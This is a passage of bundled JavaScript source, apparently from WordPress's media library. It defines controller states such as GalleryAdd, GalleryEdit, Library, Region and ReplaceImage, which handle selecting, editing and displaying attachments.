894 updateSelection: function() {
895 var selection = this.get('selection'),
896 id = wp.media.view.settings.post.featuredImageId,
897 attachment;
898
899 if ( '' !== id && -1 !== id ) {
900 attachment = Attachment.get( id );
901 attachment.fetch();
902 }
903
904 selection.reset( attachment ? [ attachment ] : [] );
905 }
906});
907
908module.exports = FeaturedImage;
909
910
911/***/ },
912
913/***/ 7127
914(module) {
915
916var Selection = wp.media.model.Selection,
917 Library = wp.media.controller.Library,
918 l10n = wp.media.view.l10n,
919 GalleryAdd;
920
921/**
922 * wp.media.controller.GalleryAdd
923 *
924 * A state for selecting more images to add to a gallery.
925 *
926 * @since 3.5.0
927 *
928 * @class
929 * @augments wp.media.controller.Library
930 * @augments wp.media.controller.State
931 * @augments Backbone.Model
932 *
933 * @memberof wp.media.controller
934 *
935 * @param {Object} [attributes] The attributes hash passed to the state.
936 * @param {string} [attributes.id=gallery-library] Unique identifier.
937 * @param {string} [attributes.title=Add to Gallery] Title for the state. Displays in the frame's title region.
938 * @param {boolean|string} [attributes.multiple=add] Whether multi-select is enabled. Accepts 'add' or true.
939 * When set to true, requires Shift or Cmd/Ctrl to select multiple items.
940 * When set to 'add', allows selecting multiple items by clicking thumbnails.
941 * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse.
942 * If one is not supplied, a collection of all images will be created.
943 * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown.
944 * Accepts 'all', 'uploaded', or 'unattached'.
945 * @param {string} [attributes.menu=gallery] Initial mode for the menu region.
946 * @param {string} [attributes.content=upload] Initial mode for the content region.
947 * Overridden by persistent user setting if 'contentUserSetting' is true.
948 * @param {string} [attributes.router=browse] Initial mode for the router region.
949 * @param {string} [attributes.toolbar=gallery-add] Initial mode for the toolbar region.
950 * @param {boolean} [attributes.searchable=true] Whether the library is searchable.
951 * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
952 * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection.
953 * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
954 * @param {number} [attributes.priority=100] The priority for the state link in the media menu.
955 * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state.
956 * Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
957 */
958GalleryAdd = Library.extend(/** @lends wp.media.controller.GalleryAdd.prototype */{
959 defaults: _.defaults({
960 id: 'gallery-library',
961 title: l10n.addToGalleryTitle,
962 multiple: 'add',
963 filterable: 'uploaded',
964 menu: 'gallery',
965 toolbar: 'gallery-add',
966 priority: 100,
967 syncSelection: false
968 }, Library.prototype.defaults ),
969
970 /**
971 * Initializes the library. Creates a library of images if a library isn't supplied.
972 *
973 * @since 3.5.0
974 *
975 * @return {void}
976 */
977 initialize: function() {
978 if ( ! this.get('library') ) {
979 this.set( 'library', wp.media.query({ type: 'image' }) );
980 }
981
982 Library.prototype.initialize.apply( this, arguments );
983 },
984
985 /**
986 * Activates the library.
987 *
988 * Removes all event listeners if in edit mode. Creates a validator to check an attachment.
989 * Resets library and re-enables event listeners. Activates edit mode. Calls the parent's activate method.
990 *
991 * @since 3.5.0
992 *
993 * @return {void}
994 */
995 activate: function() {
996 var library = this.get('library'),
997 edit = this.frame.state('gallery-edit').get('library');
998
999 if ( this.editLibrary && this.editLibrary !== edit ) {
1000 library.unobserve( this.editLibrary );
1001 }
1002
1003 /*
1004 * Accept attachments that exist in the original library but
1005 * that do not exist in gallery's library yet.
1006 */
1007 library.validator = function( attachment ) {
1008 return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments );
1009 };
1010
1011 /*
1012 * Reset the library to ensure that all attachments are re-added
1013 * to the collection. Do so silently, as calling `observe` will
1014 * trigger the `reset` event.
1015 */
1016 library.reset( library.mirroring.models, { silent: true });
1017 library.observe( edit );
1018 this.editLibrary = edit;
1019
1020 Library.prototype.activate.apply( this, arguments );
1021 }
1022});
1023
1024module.exports = GalleryAdd;
1025
1026
1027/***/ },
1028
1029/***/ 2038
1030(module) {
1031
1032var Library = wp.media.controller.Library,
1033 l10n = wp.media.view.l10n,
1034 GalleryEdit;
1035
1036/**
1037 * wp.media.controller.GalleryEdit
1038 *
1039 * A state for editing a gallery's images and settings.
1040 *
1041 * @since 3.5.0
1042 *
1043 * @class
1044 * @augments wp.media.controller.Library
1045 * @augments wp.media.controller.State
1046 * @augments Backbone.Model
1047 *
1048 * @memberOf wp.media.controller
1049 *
1050 * @param {Object} [attributes] The attributes hash passed to the state.
1051 * @param {string} [attributes.id=gallery-edit] Unique identifier.
1052 * @param {string} [attributes.title=Edit Gallery] Title for the state. Displays in the frame's title region.
1053 * @param {wp.media.model.Attachments} [attributes.library] The collection of attachments in the gallery.
1054 * If one is not supplied, an empty media.model.Selection collection is created.
1055 * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled.
1056 * @param {boolean} [attributes.searchable=false] Whether the library is searchable.
1057 * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
1058 * @param {boolean} [attributes.date=true] Whether to show the date filter in the browser's toolbar.
1059 * @param {string|false} [attributes.content=browse] Initial mode for the content region.
1060 * @param {string|false} [attributes.toolbar=image-details] Initial mode for the toolbar region.
1061 * @param {boolean} [attributes.describe=true] Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
1062 * @param {boolean} [attributes.displaySettings=true] Whether to show the attachment display settings interface.
1063 * @param {boolean} [attributes.dragInfo=true] Whether to show instructional text about the attachments being sortable.
1064 * @param {number} [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments.
1065 * @param {boolean} [attributes.editing=false] Whether the gallery is being created, or editing an existing instance.
1066 * @param {number} [attributes.priority=60] The priority for the state link in the media menu.
1067 * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state.
1068 * Defaults to false for this state, because the library passed in *is* the selection.
1069 * @param {view} [attributes.AttachmentView] The single `Attachment` view to be used in the `Attachments`.
1070 * If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
1071 */
1072GalleryEdit = Library.extend(/** @lends wp.media.controller.GalleryEdit.prototype */{
1073 defaults: {
1074 id: 'gallery-edit',
1075 title: l10n.editGalleryTitle,
1076 multiple: false,
1077 searchable: false,
1078 sortable: true,
1079 date: false,
1080 display: false,
1081 content: 'browse',
1082 toolbar: 'gallery-edit',
1083 describe: true,
1084 displaySettings: true,
1085 dragInfo: true,
1086 idealColumnWidth: 170,
1087 editing: false,
1088 priority: 60,
1089 syncSelection: false
1090 },
1091
1092 /**
1093 * Initializes the library.
1094 *
1095 * Creates a selection if a library isn't supplied and creates an attachment
1096 * view if no attachment view is supplied.
1097 *
1098 * @since 3.5.0
1099 *
1100 * @return {void}
1101 */
1102 initialize: function() {
1103 // If we haven't been provided a `library`, create a `Selection`.
1104 if ( ! this.get('library') ) {
1105 this.set( 'library', new wp.media.model.Selection() );
1106 }
1107
1108 // The single `Attachment` view to be used in the `Attachments` view.
1109 if ( ! this.get('AttachmentView') ) {
1110 this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary );
1111 }
1112
1113 Library.prototype.initialize.apply( this, arguments );
1114 },
1115
1116 /**
1117 * Activates the library.
1118 *
1119 * Limits the library to images, watches for uploaded attachments. Watches for
1120 * the browse event on the frame and binds it to gallerySettings.
1121 *
1122 * @since 3.5.0
1123 *
1124 * @return {void}
1125 */
1126 activate: function() {
1127 var library = this.get('library');
1128
1129 // Limit the library to images only.
1130 library.props.set( 'type', 'image' );
1131
1132 // Watch for uploaded attachments.
1133 this.get('library').observe( wp.Uploader.queue );
1134
1135 this.frame.on( 'content:render:browse', this.gallerySettings, this );
1136
1137 Library.prototype.activate.apply( this, arguments );
1138 },
1139
1140 /**
1141 * Deactivates the library.
1142 *
1143 * Stops watching for uploaded attachments and browse events.
1144 *
1145 * @since 3.5.0
1146 *
1147 * @return {void}
1148 */
1149 deactivate: function() {
1150 // Stop watching for uploaded attachments.
1151 this.get('library').unobserve( wp.Uploader.queue );
1152
1153 this.frame.off( 'content:render:browse', this.gallerySettings, this );
1154
1155 Library.prototype.deactivate.apply( this, arguments );
1156 },
1157
1158 /**
1159 * Adds the gallery settings to the sidebar and adds a reverse button to the
1160 * toolbar.
1161 *
1162 * @since 3.5.0
1163 *
1164 * @param {wp.media.view.Frame} browser The file browser.
1165 *
1166 * @return {void}
1167 */
1168 gallerySettings: function( browser ) {
1169 if ( ! this.get('displaySettings') ) {
1170 return;
1171 }
1172
1173 var library = this.get('library');
1174
1175 if ( ! library || ! browser ) {
1176 return;
1177 }
1178
1179 library.gallery = library.gallery || new Backbone.Model();
1180
1181 browser.sidebar.set({
1182 gallery: new wp.media.view.Settings.Gallery({
1183 controller: this,
1184 model: library.gallery,
1185 priority: 40
1186 })
1187 });
1188
1189 browser.toolbar.set( 'reverse', {
1190 text: l10n.reverseOrder,
1191 priority: 80,
1192
1193 click: function() {
1194 library.reset( library.toArray().reverse() );
1195 }
1196 });
1197 }
1198});
1199
1200module.exports = GalleryEdit;
1201
1202
1203/***/ },
1204
1205/***/ 705
1206(module) {
1207
1208var State = wp.media.controller.State,
1209 Library = wp.media.controller.Library,
1210 l10n = wp.media.view.l10n,
1211 ImageDetails;
1212
1213/**
1214 * wp.media.controller.ImageDetails
1215 *
1216 * A state for editing the attachment display settings of an image that's been
1217 * inserted into the editor.
1218 *
1219 * @memberOf wp.media.controller
1220 *
1221 * @class
1222 * @augments wp.media.controller.State
1223 * @augments Backbone.Model
1224 *
1225 * @param {object} [attributes] The attributes hash passed to the state.
1226 * @param {string} [attributes.id=image-details] Unique identifier.
1227 * @param {string} [attributes.title=Image Details] Title for the state. Displays in the frame's title region.
1228 * @param {wp.media.model.Attachment} attributes.image The image's model.
1229 * @param {string|false} [attributes.content=image-details] Initial mode for the content region.
1230 * @param {string|false} [attributes.menu=false] Initial mode for the menu region.
1231 * @param {string|false} [attributes.router=false] Initial mode for the router region.
1232 * @param {string|false} [attributes.toolbar=image-details] Initial mode for the toolbar region.
1233 * @param {boolean} [attributes.editing=false] Unused.
1234 * @param {int} [attributes.priority=60] Unused.
1235 *
1236 * @todo This state inherits some defaults from media.controller.Library.prototype.defaults,
1237 * however this may not do anything.
1238 */
1239ImageDetails = State.extend(/** @lends wp.media.controller.ImageDetails.prototype */{
1240 defaults: _.defaults({
1241 id: 'image-details',
1242 title: l10n.imageDetailsTitle,
1243 content: 'image-details',
1244 menu: false,
1245 router: false,
1246 toolbar: 'image-details',
1247 editing: false,
1248 priority: 60
1249 }, Library.prototype.defaults ),
1250
1251 /**
1252 * @since 3.9.0
1253 *
1254 * @param options Attributes
1255 */
1256 initialize: function( options ) {
1257 this.image = options.image;
1258 State.prototype.initialize.apply( this, arguments );
1259 },
1260
1261 /**
1262 * @since 3.9.0
1263 */
1264 activate: function() {
1265 this.frame.modal.$el.addClass('image-details');
1266 }
1267});
1268
1269module.exports = ImageDetails;
1270
1271
1272/***/ },
1273
1274/***/ 472
1275(module) {
1276
1277var l10n = wp.media.view.l10n,
1278 getUserSetting = window.getUserSetting,
1279 setUserSetting = window.setUserSetting,
1280 Library;
1281
1282/**
1283 * wp.media.controller.Library
1284 *
1285 * A state for choosing an attachment or group of attachments from the media library.
1286 *
1287 * @memberOf wp.media.controller
1288 *
1289 * @class
1290 * @augments wp.media.controller.State
1291 * @augments Backbone.Model
1292 * @mixes media.selectionSync
1293 *
1294 * @param {object} [attributes] The attributes hash passed to the state.
1295 * @param {string} [attributes.id=library] Unique identifier.
1296 * @param {string} [attributes.title=Media library] Title for the state. Displays in the media menu and the frame's title region.
1297 * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse.
1298 * If one is not supplied, a collection of all attachments will be created.
1299 * @param {wp.media.model.Selection|object} [attributes.selection] A collection to contain attachment selections within the state.
1300 * If the 'selection' attribute is a plain JS object,
1301 * a Selection will be created using its values as the selection instance's `props` model.
1302 * Otherwise, it will copy the library's `props` model.
1303 * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled.
1304 * @param {string} [attributes.content=upload] Initial mode for the content region.
1305 * Overridden by persistent user setting if 'contentUserSetting' is true.
1306 * @param {string} [attributes.menu=default] Initial mode for the menu region.
1307 * @param {string} [attributes.router=browse] Initial mode for the router region.
1308 * @param {string} [attributes.toolbar=select] Initial mode for the toolbar region.
1309 * @param {boolean} [attributes.searchable=true] Whether the library is searchable.
1310 * @param {boolean|string} [attributes.filterable=false] Whether the library is filterable, and if so what filters should be shown.
1311 * Accepts 'all', 'uploaded', or 'unattached'.
1312 * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
1313 * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection.
1314 * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
1315 * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
1316 * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state.
1317 */
1318Library = wp.media.controller.State.extend(/** @lends wp.media.controller.Library.prototype */{
1319 defaults: {
1320 id: 'library',
1321 title: l10n.mediaLibraryTitle,
1322 multiple: false,
1323 content: 'upload',
1324 menu: 'default',
1325 router: 'browse',
1326 toolbar: 'select',
1327 searchable: true,
1328 filterable: false,
1329 sortable: true,
1330 autoSelect: true,
1331 describe: false,
1332 contentUserSetting: true,
1333 syncSelection: true
1334 },
1335
1336 /**
1337 * If a library isn't provided, query all media items.
1338 * If a selection instance isn't provided, create one.
1339 *
1340 * @since 3.5.0
1341 */
1342 initialize: function() {
1343 var selection = this.get('selection'),
1344 props;
1345
1346 if ( ! this.get('library') ) {
1347 this.set( 'library', wp.media.query() );
1348 }
1349
1350 if ( ! ( selection instanceof wp.media.model.Selection ) ) {
1351 props = selection;
1352
1353 if ( ! props ) {
1354 props = this.get('library').props.toJSON();
1355 props = _.omit( props, 'orderby', 'query' );
1356 }
1357
1358 this.set( 'selection', new wp.media.model.Selection( null, {
1359 multiple: this.get('multiple'),
1360 props: props
1361 }) );
1362 }
1363
1364 this.resetDisplays();
1365 },
1366
1367 /**
1368 * @since 3.5.0
1369 */
1370 activate: function() {
1371 this.syncSelection();
1372
1373 wp.Uploader.queue.on( 'add', this.uploading, this );
1374
1375 this.get('selection').on( 'add remove reset', this.refreshContent, this );
1376
1377 if ( this.get( 'router' ) && this.get('contentUserSetting') ) {
1378 this.frame.on( 'content:activate', this.saveContentMode, this );
1379 this.set( 'content', getUserSetting( 'libraryContent', this.get('content') ) );
1380 }
1381 },
1382
1383 /**
1384 * @since 3.5.0
1385 */
1386 deactivate: function() {
1387 this.recordSelection();
1388
1389 this.frame.off( 'content:activate', this.saveContentMode, this );
1390
1391 // Unbind all event handlers that use this state as the context
1392 // from the selection.
1393 this.get('selection').off( null, null, this );
1394
1395 wp.Uploader.queue.off( null, null, this );
1396 },
1397
1398 /**
1399 * Reset the library to its initial state.
1400 *
1401 * @since 3.5.0
1402 */
1403 reset: function() {
1404 this.get('selection').reset();
1405 this.resetDisplays();
1406 this.refreshContent();
1407 },
1408
1409 /**
1410 * Reset the attachment display settings defaults to the site options.
1411 *
1412 * If site options don't define them, fall back to a persistent user setting.
1413 *
1414 * @since 3.5.0
1415 */
1416 resetDisplays: function() {
1417 var defaultProps = wp.media.view.settings.defaultProps;
1418 this._displays = [];
1419 this._defaultDisplaySettings = {
1420 align: getUserSetting( 'align', defaultProps.align ) || 'none',
1421 size: getUserSetting( 'imgsize', defaultProps.size ) || 'medium',
1422 link: getUserSetting( 'urlbutton', defaultProps.link ) || 'none'
1423 };
1424 },
1425
1426 /**
1427 * Create a model to represent display settings (alignment, etc.) for an attachment.
1428 *
1429 * @since 3.5.0
1430 *
1431 * @param {wp.media.model.Attachment} attachment
1432 * @return {Backbone.Model}
1433 */
1434 display: function( attachment ) {
1435 var displays = this._displays;
1436
1437 if ( ! displays[ attachment.cid ] ) {
1438 displays[ attachment.cid ] = new Backbone.Model( this.defaultDisplaySettings( attachment ) );
1439 }
1440 return displays[ attachment.cid ];
1441 },
1442
1443 /**
1444 * Given an attachment, create attachment display settings properties.
1445 *
1446 * @since 3.6.0
1447 *
1448 * @param {wp.media.model.Attachment} attachment
1449 * @return {Object}
1450 */
1451 defaultDisplaySettings: function( attachment ) {
1452 var settings = _.clone( this._defaultDisplaySettings );
1453
1454 settings.canEmbed = this.canEmbed( attachment );
1455 if ( settings.canEmbed ) {
1456 settings.link = 'embed';
1457 } else if ( ! this.isImageAttachment( attachment ) && settings.link === 'none' ) {
1458 settings.link = 'file';
1459 }
1460
1461 return settings;
1462 },
1463
1464 /**
1465 * Whether an attachment is image.
1466 *
1467 * @since 4.4.1
1468 *
1469 * @param {wp.media.model.Attachment} attachment
1470 * @return {boolean}
1471 */
1472 isImageAttachment: function( attachment ) {
1473 // If uploading, we know the filename but not the mime type.
1474 if ( attachment.get('uploading') ) {
1475 return /\.(jpe?g|png|gif|webp|avif|heic|heif)$/i.test( attachment.get('filename') );
1476 }
1477
1478 return attachment.get('type') === 'image';
1479 },
1480
1481 /**
1482 * Whether an attachment can be embedded (audio or video).
1483 *
1484 * @since 3.6.0
1485 *
1486 * @param {wp.media.model.Attachment} attachment
1487 * @return {boolean}
1488 */
1489 canEmbed: function( attachment ) {
1490 // If uploading, we know the filename but not the mime type.
1491 if ( ! attachment.get('uploading') ) {
1492 var type = attachment.get('type');
1493 if ( type !== 'audio' && type !== 'video' ) {
1494 return false;
1495 }
1496 }
1497
1498 return _.contains( wp.media.view.settings.embedExts, attachment.get('filename').split('.').pop() );
1499 },
1500
1501
1502 /**
1503 * If the state is active, no items are selected, and the current
1504 * content mode is not an option in the state's router (provided
1505 * the state has a router), reset the content mode to the default.
1506 *
1507 * @since 3.5.0
1508 */
1509 refreshContent: function() {
1510 var selection = this.get('selection'),
1511 frame = this.frame,
1512 router = frame.router.get(),
1513 mode = frame.content.mode();
1514
1515 if ( this.active && ! selection.length && router && ! router.get( mode ) ) {
1516 this.frame.content.render( this.get('content') );
1517 }
1518 },
1519
1520 /**
1521 * Callback handler when an attachment is uploaded.
1522 *
1523 * Switch to the Media Library if uploaded from the 'Upload Files' tab.
1524 *
1525 * Adds any uploading attachments to the selection.
1526 *
1527 * If the state only supports one attachment to be selected and multiple
1528 * attachments are uploaded, the last attachment in the upload queue will
1529 * be selected.
1530 *
1531 * @since 3.5.0
1532 *
1533 * @param {wp.media.model.Attachment} attachment
1534 */
1535 uploading: function( attachment ) {
1536 var content = this.frame.content;
1537
1538 if ( 'upload' === content.mode() ) {
1539 this.frame.content.mode('browse');
1540 }
1541
1542 if ( this.get( 'autoSelect' ) ) {
1543 this.get('selection').add( attachment );
1544 this.frame.trigger( 'library:selection:add' );
1545 }
1546 },
1547
1548 /**
1549 * Persist the mode of the content region as a user setting.
1550 *
1551 * @since 3.5.0
1552 */
1553 saveContentMode: function() {
1554 if ( 'browse' !== this.get('router') ) {
1555 return;
1556 }
1557
1558 var mode = this.frame.content.mode(),
1559 view = this.frame.router.get();
1560
1561 if ( view && view.get( mode ) ) {
1562 setUserSetting( 'libraryContent', mode );
1563 }
1564 }
1565
1566});
1567
1568// Make selectionSync available on any Media Library state.
1569_.extend( Library.prototype, wp.media.selectionSync );
1570
1571module.exports = Library;
1572
1573
1574/***/ },
1575
1576/***/ 8065
1577(module) {
1578
1579/**
1580 * wp.media.controller.MediaLibrary
1581 *
1582 * @memberOf wp.media.controller
1583 *
1584 * @class
1585 * @augments wp.media.controller.Library
1586 * @augments wp.media.controller.State
1587 * @augments Backbone.Model
1588 */
1589var Library = wp.media.controller.Library,
1590 MediaLibrary;
1591
1592MediaLibrary = Library.extend(/** @lends wp.media.controller.MediaLibrary.prototype */{
1593 defaults: _.defaults({
1594 // Attachments browser defaults. @see media.view.AttachmentsBrowser
1595 filterable: 'uploaded',
1596
1597 displaySettings: false,
1598 priority: 80,
1599 syncSelection: false
1600 }, Library.prototype.defaults ),
1601
1602 /**
1603 * @since 3.9.0
1604 *
1605 * @param options
1606 */
1607 initialize: function( options ) {
1608 this.media = options.media;
1609 this.type = options.type;
1610 this.set( 'library', wp.media.query({ type: this.type }) );
1611
1612 Library.prototype.initialize.apply( this, arguments );
1613 },
1614
1615 /**
1616 * @since 3.9.0
1617 */
1618 activate: function() {
1619 // @todo this should use this.frame.
1620 if ( wp.media.frame.lastMime ) {
1621 this.set( 'library', wp.media.query({ type: wp.media.frame.lastMime }) );
1622 delete wp.media.frame.lastMime;
1623 }
1624 Library.prototype.activate.apply( this, arguments );
1625 }
1626});
1627
1628module.exports = MediaLibrary;
1629
1630
1631/***/ },
1632
1633/***/ 9875
1634(module) {
1635
1636/**
1637 * wp.media.controller.Region
1638 *
1639 * A region is a persistent application layout area.
1640 *
1641 * A region assumes one mode at any time, and can be switched to another.
1642 *
1643 * When mode changes, events are triggered on the region's parent view.
1644 * The parent view will listen to specific events and fill the region with an
1645 * appropriate view depending on mode. For example, a frame listens for the
1646 * 'browse' mode t be activated on the 'content' view and then fills the region
1647 * with an AttachmentsBrowser view.
1648 *
1649 * @memberOf wp.media.controller
1650 *
1651 * @class
1652 *
1653 * @param {Object} options Options hash for the region.
1654 * @param {string} options.id Unique identifier for the region.
1655 * @param {Backbone.View} options.view A parent view the region exists within.
1656 * @param {string} options.selector jQuery selector for the region within the parent view.
1657 */
1658var Region = function( options ) {
1659 _.extend( this, _.pick( options || {}, 'id', 'view', 'selector' ) );
1660};
1661
1662// Use Backbone's self-propagating `extend` inheritance method.
1663Region.extend = Backbone.Model.extend;
1664
1665_.extend( Region.prototype,/** @lends wp.media.controller.Region.prototype */{
1666 /**
1667 * Activate a mode.
1668 *
1669 * @since 3.5.0
1670 *
1671 * @param {string} mode
1672 *
1673 * @fires Region#activate
1674 * @fires Region#deactivate
1675 *
1676 * @return {wp.media.controller.Region} Returns itself to allow chaining.
1677 */
1678 mode: function( mode ) {
1679 if ( ! mode ) {
1680 return this._mode;
1681 }
1682 // Bail if we're trying to change to the current mode.
1683 if ( mode === this._mode ) {
1684 return this;
1685 }
1686
1687 /**
1688 * Region mode deactivation event.
1689 *
1690 * @event wp.media.controller.Region#deactivate
1691 */
1692 this.trigger('deactivate');
1693
1694 this._mode = mode;
1695 this.render( mode );
1696
1697 /**
1698 * Region mode activation event.
1699 *
1700 * @event wp.media.controller.Region#activate
1701 */
1702 this.trigger('activate');
1703 return this;
1704 },
1705 /**
1706 * Render a mode.
1707 *
1708 * @since 3.5.0
1709 *
1710 * @param {string} mode
1711 *
1712 * @fires Region#create
1713 * @fires Region#render
1714 *
1715 * @return {wp.media.controller.Region} Returns itself to allow chaining.
1716 */
1717 render: function( mode ) {
1718 // If the mode isn't active, activate it.
1719 if ( mode && mode !== this._mode ) {
1720 return this.mode( mode );
1721 }
1722
1723 var set = { view: null },
1724 view;
1725
1726 /**
1727 * Create region view event.
1728 *
1729 * Region view creation takes place in an event callback on the frame.
1730 *
1731 * @event wp.media.controller.Region#create
1732 * @type {object}
1733 * @property {object} view
1734 */
1735 this.trigger( 'create', set );
1736 view = set.view;
1737
1738 /**
1739 * Render region view event.
1740 *
1741 * Region view creation takes place in an event callback on the frame.
1742 *
1743 * @event wp.media.controller.Region#render
1744 * @type {object}
1745 */
1746 this.trigger( 'render', view );
1747 if ( view ) {
1748 this.set( view );
1749 }
1750 return this;
1751 },
1752
1753 /**
1754 * Get the region's view.
1755 *
1756 * @since 3.5.0
1757 *
1758 * @return {wp.media.View}
1759 */
1760 get: function() {
1761 return this.view.views.first( this.selector );
1762 },
1763
1764 /**
1765 * Set the region's view as a subview of the frame.
1766 *
1767 * @since 3.5.0
1768 *
1769 * @param {Array|Object} views
1770 * @param {Object} [options={}]
1771 * @return {wp.Backbone.Subviews} Subviews is returned to allow chaining.
1772 */
1773 set: function( views, options ) {
1774 if ( options ) {
1775 options.add = false;
1776 }
1777 return this.view.views.set( this.selector, views, options );
1778 },
1779
1780 /**
1781 * Trigger regional view events on the frame.
1782 *
1783 * @since 3.5.0
1784 *
1785 * @param {string} event
1786 * @return {undefined|wp.media.controller.Region} Returns itself to allow chaining.
1787 */
1788 trigger: function( event ) {
1789 var base, args;
1790
1791 if ( ! this._mode ) {
1792 return;
1793 }
1794
1795 args = _.toArray( arguments );
1796 base = this.id + ':' + event;
1797
1798 // Trigger `{this.id}:{event}:{this._mode}` event on the frame.
1799 args[0] = base + ':' + this._mode;
1800 this.view.trigger.apply( this.view, args );
1801
1802 // Trigger `{this.id}:{event}` event on the frame.
1803 args[0] = base;
1804 this.view.trigger.apply( this.view, args );
1805 return this;
1806 }
1807});
1808
1809module.exports = Region;
1810
1811
1812/***/ },
1813
1814/***/ 2275
1815(module) {
1816
1817var Library = wp.media.controller.Library,
1818 l10n = wp.media.view.l10n,
1819 ReplaceImage;
1820
1821/**
1822 * wp.media.controller.ReplaceImage
1823 *
1824 * A state for replacing an image.
1825 *
1826 * @memberOf wp.media.controller
1827 *
1828 * @class
1829 * @augments wp.media.controller.Library
1830 * @augments wp.media.controller.State
1831 * @augments Backbone.Model
1832 *
1833 * @param {object} [attributes] The attributes hash passed to the state.
1834 * @param {string} [attributes.id=replace-image] Unique identifier.
1835 * @param {string} [attributes.title=Replace Image] Title for the state. Displays in the media menu and the frame's title region.
1836 * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse.
1837 * If one is not supplied, a collection of all images will be created.
1838 * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled.
1839 * @param {string} [attributes.content=upload] Initial mode for the content region.
1840 * Overridden by persistent user setting if 'contentUserSetting' is true.
1841 * @param {string} [attributes.menu=default] Initial mode for the menu region.
1842 * @param {string} [attributes.router=browse] Initial mode for the router region.
1843 * @param {string} [attributes.toolbar=replace] Initial mode for the toolbar region.
1844 * @param {int} [attributes.priority=60] The priority for the state link in the media menu.
1845 * @param {boolean} [attributes.searchable=true] Whether the library is searchable.
1846 * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown.
1847 * Accepts 'all', 'uploaded', or 'unattached'.
1848 * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
1849 * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection.
1850 * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
1851 * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
1852 * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state.
1853 */
1854ReplaceImage = Library.extend(/** @lends wp.media.controller.ReplaceImage.prototype */{
1855 defaults: _.defaults({
1856 id: 'replace-image',
1857 title: l10n.replaceImageTitle,
1858 multiple: false,
1859 filterable: 'uploaded',
1860 toolbar: 'replace',
1861 menu: false,
1862 priority: 60,
1863 syncSelection: true
1864 }, Library.prototype.defaults ),
1865
1866 /**
1867 * @since 3.9.0
1868 *
1869 * @param options
1870 */
1871 initialize: function( options ) {
1872 var library, comparator;
1873
1874 this.image = options.image;
1875 // If we haven't been provided a `library`, create a `Selection`.
1876 if ( ! this.get('library') ) {
1877 this.set( 'library', wp.media.query({ type: 'image' }) );
1878 }
1879
1880 Library.prototype.initialize.apply( this, arguments );
1881
1882 library = this.get('library');
1883 comparator = library.comparator;
1884
1885 // Overload the library's comparator to push items that are not in
1886 // the mirrored query to the front of the aggregate collection.
1887 library.comparator = function( a, b ) {
1888 var aInQuery = !! this.mirroring.get( a.cid ),
1889 bInQuery = !! this.mirroring.get( b.cid );
1890
1891 if ( ! aInQuery && bInQuery ) {
1892 return -1;
1893 } else if ( aInQuery && ! bInQuery ) {
1894 return 1;
1895 } else {
1896 return comparator.apply( this, arguments );
1897 }
1898 };
1899
1900 // Add all items in the selection to the library, so any featured
1901 // images that are not initially loaded still appear.
1902 library.observe( this.get('selection') );
1903 },
1904
1905 /**
1906 * @since 3.9.0
1907 */
1908 activate: function() {
1909 this.frame.on( 'content:render:browse', this.updateSelection, this );
1910
1911 Library.prototype.activate.apply( this, arguments );
1912 },
1913
1914 /**
1915 * @since 5.9.0
1916 */
1917 deactivate: function() {
1918 this.frame.off( 'content:render:browse', this.updateSelection, this );
1919
1920 Library.prototype.deactivate.apply( this, arguments );
1921 },
1922
1923 /**
1924 * @since 3.9.0
1925 */
1926 updateSelection: function() {
1927 var selection = this.get('selection'),
1928 attachment = this.image.attachment;
1929
1930 selection.reset( attachment ? [ attachment ] : [] );
1931 }
1932});
1933
1934module.exports = ReplaceImage;
1935
1936
1937/***/ },
1938
1939/***/ 6172
1940(module) {
1941
1942var Controller = wp.media.controller,
1943 SiteIconCropper;
1944
1945/**
1946 * wp.media.controller.SiteIconCropper
1947 *
1948 * A state for cropping a Site Icon.
1949 *
1950 * @memberOf wp.media.controller
1951 *
1952 * @class
1953 * @augments wp.media.controller.Cropper
1954 * @augments wp.media.controller.State
1955 * @augments Backbone.Model
1956 */
1957SiteIconCropper = Controller.Cropper.extend(/** @lends wp.media.controller.SiteIconCropper.prototype */{
1958 activate: function() {
1959 this.frame.on( 'content:create:crop', this.createCropContent, this );
1960 this.frame.on( 'close', this.removeCropper, this );
1961 this.set('selection', new Backbone.Collection(this.frame._selection.single));
1962 },
1963
1964 createCropContent: function() {
1965 this.cropperView = new wp.media.view.SiteIconCropper({
1966 controller: this,
1967 attachment: this.get('selection').first()
1968 });
1969 this.cropperView.on('image-loaded', this.createCropToolbar, this);
